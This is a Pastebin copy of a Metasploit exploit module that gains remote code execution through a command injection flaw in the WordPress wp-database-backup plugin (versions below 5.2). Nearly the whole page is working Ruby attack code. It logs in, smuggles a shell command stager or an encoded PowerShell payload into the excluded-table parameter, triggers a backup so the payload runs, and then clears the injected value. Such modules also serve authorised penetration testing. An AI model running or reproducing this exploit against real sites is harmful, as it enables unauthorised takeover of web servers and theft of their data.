SHARE
TWEET

EDB-ID-47187 Remote Code To Exploit (Metasploit)

TVT618 Jul 29th, 2019 380 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. class MetasploitModule < Msf::Exploit::Remote
  7.   Rank = ExcellentRanking
  8.  
  9.   include Msf::Exploit::CmdStager
  10.   include Msf::Exploit::Powershell
  11.   include Msf::Exploit::Remote::HTTP::Wordpress
  12.  
  13.   def initialize(info = {})
  14.     super(update_info(info,
  15.       'Name'           => 'WP Database Backup RCE',
  16.       'Description'    => %q(
  17.         There exists a command injection vulnerability in the Wordpress plugin
  18.         `wp-database-backup` for versions < 5.2.
  19.  
  20.         For the backup functionality, the plugin generates a `mysqldump` command
  21.         to execute. The user can choose specific tables to exclude from the backup
  22.         by setting the `wp_db_exclude_table` parameter in a POST request to the
  23.         `wp-database-backup` page. The names of the excluded tables are included in
  24.         the `mysqldump` command unsanitized. Arbitrary commands injected through the
  25.         `wp_db_exclude_table` parameter are executed each time the functionality
  26.         for creating a new database backup are run.
  27.  
  28.         Authentication is required to successfully exploit this vulnerability.
  29.       ),
  30.       'License'        => MSF_LICENSE,
  31.       'Author'         =>
  32.       [
  33.         'Mikey Veenstra / Wordfence',  # Vulnerability Discovery
  34.        'Shelby Pace'                  # Metasploit module
  35.      ],
  36.       'References'     =>
  37.         [
  38.           [ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
  39.         ],
  40.       'Platform'       => [ 'win', 'linux' ],
  41.       'Arch'           => [ ARCH_X86, ARCH_X64 ],
  42.       'Targets'        =>
  43.         [
  44.           [
  45.             'Windows',
  46.             {
  47.               'Platform'        => 'win',
  48.               'Arch'            => [ ARCH_X86, ARCH_X64 ]
  49.             }
  50.           ],
  51.           [
  52.             'Linux',
  53.             {
  54.               'Platform'        =>  'linux',
  55.               'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
  56.               'CmdStagerFlavor' =>  'printf'
  57.             }
  58.           ]
  59.         ],
  60.       'DisclosureDate' => '2019-04-24',
  61.       'DefaultTarget'  => 0
  62.     ))
  63.  
  64.     register_options(
  65.     [
  66.       OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
  67.       OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
  68.       OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])
  69.     ])
  70.   end
  71.  
  72.   def check
  73.     return CheckCode::Unknown unless wordpress_and_online?
  74.  
  75.     changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
  76.     res = send_request_cgi(
  77.       'method'  =>  'GET',
  78.       'uri'     =>  changelog_uri
  79.     )
  80.  
  81.     if res && res.code == 200
  82.       version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
  83.       return CheckCode::Detected unless version && version.length > 1
  84.  
  85.       vprint_status("Version of wp-database-backup detected: #{version[1]}")
  86.       return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2')
  87.     end
  88.     CheckCode::Safe
  89.   end
  90.  
  91.   def exploit
  92.     cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
  93.     fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie
  94.  
  95.     res = create_exclude_table(cookie)
  96.     nonce = get_nonce(res)
  97.     create_backup(cookie, nonce)
  98.  
  99.     clear_exclude_table(cookie)
  100.   end
  101.  
  102.   def create_exclude_table(cookie)
  103.     @exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
  104.     res = send_request_cgi(
  105.       'method'    =>  'GET',
  106.       'uri'       =>  @exclude_uri,
  107.       'cookie'    =>  cookie,
  108.       'vars_get'  =>  { 'page'  =>  'wp-database-backup' }
  109.     )
  110.  
  111.     fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200
  112.     print_good('Reached the wp-database-backup settings page')
  113.     if datastore['TARGET'] == 1
  114.       comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')
  115.       comm_payload = comm_payload.join('&&')
  116.       comm_payload = comm_payload.gsub('\'', '')
  117.       comm_payload = "; #{comm_payload} ;"
  118.     else
  119.       comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::"
  120.     end
  121.  
  122.     table_res = send_request_cgi(
  123.       'method'    =>  'POST',
  124.       'uri'       =>  @exclude_uri,
  125.       'cookie'    =>  cookie,
  126.       'vars_post' =>
  127.       {
  128.         'wpsetting'                       =>  'Save',
  129.         'wp_db_exclude_table[wp_comment]' =>  comm_payload
  130.       }
  131.     )
  132.  
  133.     fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code
  134.     print_good('Successfully added payload as an excluded table')
  135.  
  136.     res.get_html_document
  137.   end
  138.  
  139.   def get_nonce(response)
  140.     fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response
  141.  
  142.     div_res = response.at('p[@class="submit"]')
  143.     fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res
  144.  
  145.     wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
  146.     fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1
  147.  
  148.     wpnonce[1]
  149.   end
  150.  
  151.   def create_backup(cookie, nonce)
  152.     first_res = send_request_cgi(
  153.       'method'    =>  'GET',
  154.       'uri'       =>  @exclude_uri,
  155.       'cookie'    =>  cookie,
  156.       'vars_get'  =>
  157.       {
  158.         'page'      =>  'wp-database-backup',
  159.         '_wpnonce'  =>  nonce,
  160.         'action'    =>  'createdbbackup'
  161.       }
  162.     )
  163.  
  164.     res = send_request_cgi(
  165.       'method'    =>  'GET',
  166.       'uri'       =>  @exclude_uri,
  167.       'cookie'    =>  cookie,
  168.       'vars_get'  =>
  169.       {
  170.         'page'          =>  'wp-database-backup',
  171.         'notification'  =>  'create'
  172.       }
  173.     )
  174.  
  175.     fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')
  176.     print_good('Successfully created a backup of the database')
  177.   end
  178.  
  179.   def clear_exclude_table(cookie)
  180.     res = send_request_cgi(
  181.       'method'    =>  'POST',
  182.       'uri'       =>  @exclude_uri,
  183.       'cookie'    =>  cookie,
  184.       'vars_post' =>
  185.       {
  186.         'wpsetting'                       =>  'Save',
  187.         'wp_db_exclude_table[wp_comment]' =>  'wp_comment'
  188.       }
  189.     )
  190.  
  191.    fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200
  192.    print_good('Successfully deleted the payload from the excluded tables list')
  193.   end
  194. end
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top